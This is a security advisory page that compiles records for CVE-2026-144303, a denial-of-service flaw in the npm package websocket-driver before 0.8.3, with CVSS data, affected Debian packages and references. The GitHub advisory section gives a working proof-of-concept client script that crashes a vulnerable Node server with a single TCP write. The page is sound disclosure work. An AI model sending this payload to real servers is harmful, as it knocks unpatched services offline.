CVE-2026-144303
websocket- driver: Server crash triggered by client sending message data in the same TCP chunk as request headers
- Severity
- 7.5HighNetwork attack, no privileges, no user interactionCVSS 3.1, CVE List
- Exploitation
- Proof of conceptCISA reports one, no source links it
- Exploit chance
- 0.92% in 30 daysPercentile61stEPSS, scored
- Listed fix
0.8.3for websocket-driver From GitHub Advisories3 other affected packages
Overview
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.
CVSS 3.1 vector
Exploitability
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
Impact
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HExploit chance over time
Scored once so far, on . The trend appears after a second daily score.
Affected
Packages 4
| Package | Affected | Fixed |
|---|---|---|
websocket-drivernpm | before 0.8.3 | 0.8.3 |
node-websocket-driverDebian:12 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:13 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:14 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
Products 1
Sources
CVE List Score usedCVSS 3.17.5
websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.
- Record
CVE-2026-144303- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-12-03
EUVDEUVD-2026-143536CVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.
- Record
EUVD-2026-143536- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-03
GitHub AdvisoriesGHSA-mxfr-rg9v-vp3cCVSS 3.17.5
websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers
Summary
A WebSocket server implemented using websocket-driver can be made to crash by a remote client sending WebSocket message data in the TCP chunk as its handshake request headers.
Details
The websocket.http() driver constructor is designed to be used with the Node HTTP upgrade event, which yields an HTTP request, the bare TCP socket, and a buffer containing the request body to the event listener. The documentation instructs users to pass the request body to the driver, before calling start() on it, like so:
server.on('upgrade', (request, socket, body) => {
if (!websocket.isWebSocket(request)) return
let driver = websocket.http(request)
driver.io.write(body)
// set up event listeners...
driver.start()
})
This API was originally designed to deal with the Draft 76 handshake, which included an 8-byte body as part of the handshake data. When this version is in use, the driver handles this sequence of calls correctly.
When the RFC 6455 standard protocol is in use, body should typically be empty, since clients should not send messages before the handshake completes. However, if body is not empty, then passing it to driver.io.write() before calling driver.start() triggers an exception due to the parser not being initialised. This exception crashes the process.
This has been mitigated by buffering this input and parsing it when start() is called, so that any data received before start() is called is not lost. This buffering is subject to the maxLength configuration parameter so clients cannot abuse this to grow the server's buffer indefinitely.
Proof of concept
Given a server set up as follows:
const http = require('http')
const websocket = require('websocket-driver')
let server = http.createServer()
server.on('upgrade', (request, socket, body) => {
if (!websocket.isWebSocket(request)) return
let driver = websocket.http(request)
driver.io.write(body)
socket.pipe(driver.io).pipe(socket)
driver.messages.on('data', (m) => console.log({ m }))
driver.start()
})
server.listen(5077, '127.0.0.1')
The following client opens a connection and constructs a buffer containing WebSocket handshake headers immediately followed by a WebSocket message. It writes this buffer to the socket as a single chunk.
const net = require('net')
let socket = net.connect(5077, '127.0.0.1')
let httpMessage = Buffer.from(
'GET / HTTP/1.1\r\n' +
'Host: 127.0.0.1\r\n' +
'Connection: Upgrade\r\n' +
'Upgrade: websocket\r\n' +
`Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` +
'Sec-WebSocket-Version: 13\r\n' +
'\r\n'
)
// FIN = 1, mask key 00 00 00 00, payload 'a'
let maskedTextFrame = Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61])
// the frame is sent in the same write as the handshake,
// so it arrives in the `body` (head) argument of the 'upgrade' event
socket.write(Buffer.concat([httpMessage, maskedTextFrame]))
socket.on('error', () => {})
On receiving this chunk, the server immediately crashes. After patching, the server prints the message the client sent.
Impact
An unauthenticated remote client can crash any Node.js process that follows the README's "Server-side with HTTP" example, with a single TCP write.
- Record
GHSA-mxfr-rg9v-vp3c- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-12-04
NVDCVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.
- Record
CVE-2026-144303- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-12-03
OSVCVSS 3.17.5
websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.
- Record
CVE-2026-144303- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-12-04
OSVDEBIAN-CVE-2026-144303CVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.
- Record
DEBIAN-CVE-2026-144303- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-04
History
Recorded by Every CVE
| Day | Changed | Sources |
|---|---|---|
| Affected packages, key facts, references | GitHub Advisories, OSV | |
| Affected packages, other IDs, references | NVD, OSV | |
| Key facts, references | CVE List | |
| Other IDs, published date | EUVD | |
| Other IDs, references | NVD, OSV | |
| First indexed | CVE List |
Upstream dates may differ.
References
github.com/faye/websocket-driver-node/security/advisories/GHSA-mxfr-rg9v-vp3c
github.com/faye/websocket-driver-node/commit/66486511c8b90ce6de4ea5b613109562f4cb5900
github.com/faye/websocket-driver-node/releases/tag/0.8.3
nvd.nist.gov/vuln/detail/CVE-2026-144303
github.com/advisories/GHSA-mxfr-rg9v-vp3c
github.com/CVEProject/cvelistV5/tree/main/cves/2026/144xxx/CVE-2026-144303.json
security-tracker.debian.org/tracker/CVE-2026-144303